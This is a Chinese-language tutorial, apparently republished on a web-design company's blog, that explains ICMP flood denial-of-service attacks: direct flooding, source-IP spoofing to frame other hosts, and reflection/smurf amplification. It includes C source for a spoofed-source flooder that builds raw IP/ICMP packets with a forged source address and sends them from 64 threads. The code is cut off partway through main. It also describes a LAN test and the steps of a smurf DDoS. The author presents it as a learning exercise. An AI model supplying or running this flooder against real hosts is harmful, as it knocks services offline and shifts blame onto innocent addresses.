這篇文章將為大家詳細(xì)講解有關(guān)Linux編程中ICMP洪水攻擊的示例分析,小編覺得挺實(shí)用的,因此分享給大家做個(gè)參考,希望大家閱讀完這篇文章后可以有所收獲。
成都創(chuàng)新互聯(lián)公司堅(jiān)持“要么做到,要么別承諾”的工作理念,服務(wù)領(lǐng)域包括:成都網(wǎng)站設(shè)計(jì)、網(wǎng)站建設(shè)、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣等服務(wù),滿足客戶于互聯(lián)網(wǎng)時(shí)代的五指山網(wǎng)站設(shè)計(jì)、移動(dòng)媒體設(shè)計(jì)的需求,幫助企業(yè)找到有效的互聯(lián)網(wǎng)解決方案。努力成為您成熟可靠的網(wǎng)絡(luò)建設(shè)合作伙伴!ICMP洪水攻擊屬于大名鼎鼎的DOS(Denial of Service)攻擊的一種,一種是黑客們喜歡的攻擊手段,這里本著加深自己對(duì)ICMP的理解的目的,也試著基于ICMP寫一段ICMP的洪水攻擊小程序。
洪水攻擊(FLOOD ATTACK)指的是利用計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)向目的主機(jī)發(fā)送大量無用數(shù)據(jù)報(bào)文,使得目的主機(jī)忙于處理無用的數(shù)據(jù)報(bào)文而無法提供正常服務(wù)的網(wǎng)絡(luò)行為。
ICMP洪水攻擊:顧名思義,就是對(duì)目的主機(jī)發(fā)送洪水般的ping包,使得目的主機(jī)忙于處理ping包而無能力處理其他正常請(qǐng)求,這就好像是洪水一般的ping包把目的主機(jī)給淹沒了。
要實(shí)現(xiàn)ICMP的洪水攻擊,需要以下三項(xiàng)的知識(shí)儲(chǔ)備:
DOS攻擊原理
ICMP的深入理解
原始套接字的編程技巧
一、ICMP洪水攻擊原理
ICMP洪水攻擊是在ping的基礎(chǔ)上形成的,但是ping程序很少能造成目的及宕機(jī)的問題,這是因?yàn)閜ing的發(fā)送包的速率太慢了,像我實(shí)現(xiàn)的PING程序里ping包發(fā)送速率限定在1秒1發(fā),這個(gè)速率目的主機(jī)處理ping包還是綽綽有余的。所以要造成“洪水”的現(xiàn)象,就必須提升發(fā)包速率。這里介紹三種ICMP洪水攻擊的方式:
(1)直接洪水攻擊
這樣做需要本地主機(jī)的帶寬和目的主機(jī)的帶寬之間進(jìn)行比拼,比如我的主機(jī)網(wǎng)絡(luò)帶寬是30M的,而你的主機(jī)網(wǎng)絡(luò)帶寬僅為3M,那我發(fā)起洪水攻擊淹沒你的主機(jī)成功率就很大了。這種攻擊方式要求攻擊主機(jī)處理能力和帶寬要大于被攻擊主機(jī),否則自身被DoS了。基于這種思想,我們可以使用一臺(tái)高帶寬高性能的電腦,采用多線程的方法一次性發(fā)送多個(gè)ICMP請(qǐng)求報(bào)文,讓目的主機(jī)忙于處理大量這些報(bào)文而造成速度緩慢甚至宕機(jī)。這個(gè)方法有個(gè)大缺點(diǎn),就是對(duì)方可以根據(jù)ICMP包的IP地址而屏蔽掉攻擊源,使得攻擊不能繼續(xù)。
(2)偽IP攻擊
在直接洪水攻擊的基礎(chǔ)上,我們將發(fā)送方的IP地址偽裝成其他IP,如果是偽裝成一個(gè)隨機(jī)的IP,那就可以很好地隱藏自己的位置;如果將自己的IP偽裝成其他受害者的IP,就會(huì)造成“挑撥離間”的情形,受害主機(jī)1的icmp回復(fù)包也如洪水般發(fā)送給受害主機(jī)2,如果主機(jī)1的管理員要查是哪個(gè)混蛋發(fā)包攻擊自己,他一查ICMP包的源地址,咦原來是主機(jī)2,這樣子主機(jī)2就成了戴罪羔羊了。
(3)反射攻擊
這類攻擊的思想不同于上面兩種攻擊,反射攻擊的設(shè)計(jì)更為巧妙。其實(shí)這里的方式三的攻擊模式是前兩個(gè)模式的合并版以及升級(jí)版,方式三的攻擊策略有點(diǎn)像“借刀殺人“,反射攻擊不再直接對(duì)目標(biāo)主機(jī),而是讓其他一群主機(jī)誤以為目標(biāo)主機(jī)在向他們發(fā)送ICMP請(qǐng)求包,然后一群主機(jī)向目的主機(jī)發(fā)送ICMP應(yīng)答包,造成來自四面八方的洪水淹沒目的主機(jī)的現(xiàn)象。比如我們向局域網(wǎng)的其他主機(jī)發(fā)送ICMP請(qǐng)求包,然后自己的IP地址偽裝成目的主機(jī)的IP,這樣子目的主機(jī)就成了ICMP回顯的焦點(diǎn)了。這種攻擊非常隱蔽,因?yàn)槭芎χ鳈C(jī)很難查出攻擊源是誰。
二、ICMP洪水攻擊程序設(shè)計(jì)
這里我想實(shí)現(xiàn)一個(gè)ICMP洪水攻擊的例子,這里我想采用方式二來進(jìn)行設(shè)計(jì)。雖說方式三的“借刀殺人”更為巧妙,其實(shí)也是由方式二的偽裝方式進(jìn)一步延伸的,實(shí)現(xiàn)起來也是大同小異。
首先給出攻擊的模型圖:
1.組ICMP包
這里的組包跟編寫PING程序時(shí)的組包沒太大差別,唯一需要注意的是,我們需要填寫IP頭部分,因?yàn)槲覀円獋窝b源地址,做到嫁禍于人。
void DoS_icmp_pack(char* packet) { struct ip* ip_hdr = (struct ip*)packet; struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip)); ip_hdr->ip_v = 4; ip_hdr->ip_hl = 5; ip_hdr->ip_tos = 0; ip_hdr->ip_len = htons(ICMP_PACKET_SIZE); ip_hdr->ip_id = htons(getpid()); ip_hdr->ip_off = 0; ip_hdr->ip_ttl = 64; ip_hdr->ip_p = PROTO_ICMP; ip_hdr->ip_sum = 0; ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //偽裝源地址 ip_hdr->ip_dst.s_addr = dest; //填入要攻擊的目的主機(jī)地址 icmp_hdr->icmp_type = ICMP_ECHO; icmp_hdr->icmp_code = 0; icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8)); //注意這里,因?yàn)閿?shù)據(jù)部分為0,我們就簡化了一下checksum的計(jì)算了 }
2.搭建發(fā)包線程
void Dos_Attack() { char* packet = (char*)malloc(ICMP_PACKET_SIZE); memset(packet, 0, ICMP_PACKET_SIZE); struct sockaddr_in to; DoS_icmp_pack(packet); to.sin_family = AF_INET; to.sin_addr.s_addr = dest; to.sin_port = htons(0); while(alive) //控制發(fā)包的全局變量 { sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr)); } free(packet); //記得要釋放內(nèi)存 }
3.編寫發(fā)包開關(guān)
這里的開關(guān)很簡單,用信號(hào)量+全局變量即可以實(shí)現(xiàn)。當(dāng)我們按下ctrl+c時(shí),攻擊將關(guān)閉。
void Dos_Sig() { alive = 0; printf("stop DoS Attack!\n"); }
4.總的架構(gòu)
我們使用了64個(gè)線程一起發(fā)包,當(dāng)然這個(gè)線程數(shù)還可以大大增加,來增加攻擊強(qiáng)度。但我們只是做做實(shí)驗(yàn),沒必要搞那么大。
int main(int argc, char* argv[]) { struct hostent* host = NULL; struct protoent* protocol = NULL; int i; alive = 1; pthread_t attack_thread[THREAD_MAX_NUM]; //開64個(gè)線程同時(shí)發(fā)包 int err = 0; if(argc < 2) { printf("Invalid input!\n"); return -1; } signal(SIGINT, Dos_Sig); protocol = getprotobyname(PROTO_NAME); if(protocol == NULL) { printf("Fail to getprotobyname!\n"); return -1; } PROTO_ICMP = protocol->p_proto; dest = inet_addr(argv[1]); if(dest == INADDR_NONE) { host = gethostbyname(argv[1]); if(host == NULL) { printf("Invalid IP or Domain name!\n"); return -1; } memcpy((char*)&dest, host->h_addr, host->h_length); } rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP); if(rawsock < 0) { printf("Fait to create socket!\n"); return -1; } setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1")); printf("ICMP FLOOD ATTACK START\n"); for(i=0;i三、實(shí)驗(yàn)
本次實(shí)驗(yàn)本著學(xué)習(xí)的目的,想利用自己手上的設(shè)備,想進(jìn)一步理解網(wǎng)絡(luò)和協(xié)議的應(yīng)用,所以攻擊的幅度比較小,時(shí)間也就幾秒,不對(duì)任何設(shè)備造成影響。
再說一下我們的攻擊步驟:我們使用主機(jī)172.0.5.183作為自己的攻擊主機(jī),并將自己偽裝成主機(jī)172.0.5.182,對(duì)主機(jī)172.0.5.9發(fā)起ICMP洪水攻擊。
攻擊開始
我們觀察一下”受害者“那邊的情況。在短短5秒里,正確收到并交付上層處理的包也高達(dá)7萬多個(gè)了。我也不敢多搞事,避免影響機(jī)器工作。
使用wireshark抓包再瞧一瞧,滿滿的ICMP包啊,看來量也是很大的。ICMP包的源地址顯示為172.0.5.182(我們偽裝的地址),它也把echo reply回給了172.0.5.182。主機(jī)172.0.5.182肯定會(huì)想,莫名其妙啊,怎么收到這么多echo reply包。
攻擊實(shí)驗(yàn)做完了。
現(xiàn)在更為流行的是DDOS攻擊,其威力更為強(qiáng)悍,策略更為精巧,防御難度也更加高。
其實(shí),這種DDoS攻擊也是在DOS的基礎(chǔ)上發(fā)起的,具體步驟如下:1. 攻擊者向“放大網(wǎng)絡(luò)”廣播echo request報(bào)文
2. 攻擊者指定廣播報(bào)文的源IP為被攻擊主機(jī)
3. “放大網(wǎng)絡(luò)”回復(fù)echo reply給被攻擊主機(jī)
4. 形成DDoS攻擊場(chǎng)景這里的“放大網(wǎng)絡(luò)”可以理解為具有很多主機(jī)的網(wǎng)絡(luò),這些主機(jī)的操作系統(tǒng)需要支持對(duì)目的地址為廣播地址的某種ICMP請(qǐng)求數(shù)據(jù)包進(jìn)行響應(yīng)。
攻擊策略很精妙,簡而言之,就是將源地址偽裝成攻擊主機(jī)的IP,然后發(fā)廣播的給所有主機(jī),主機(jī)們收到該echo request后集體向攻擊主機(jī)回包,造成群起而攻之的情景。
關(guān)于“Linux編程中ICMP洪水攻擊的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,使各位可以學(xué)到更多知識(shí),如果覺得文章不錯(cuò),請(qǐng)把它分享出去讓更多的人看到。
文章名稱:Linux編程中ICMP洪水攻擊的示例分析-創(chuàng)新互聯(lián)
URL網(wǎng)址:http://weahome.cn/article/cshijh.html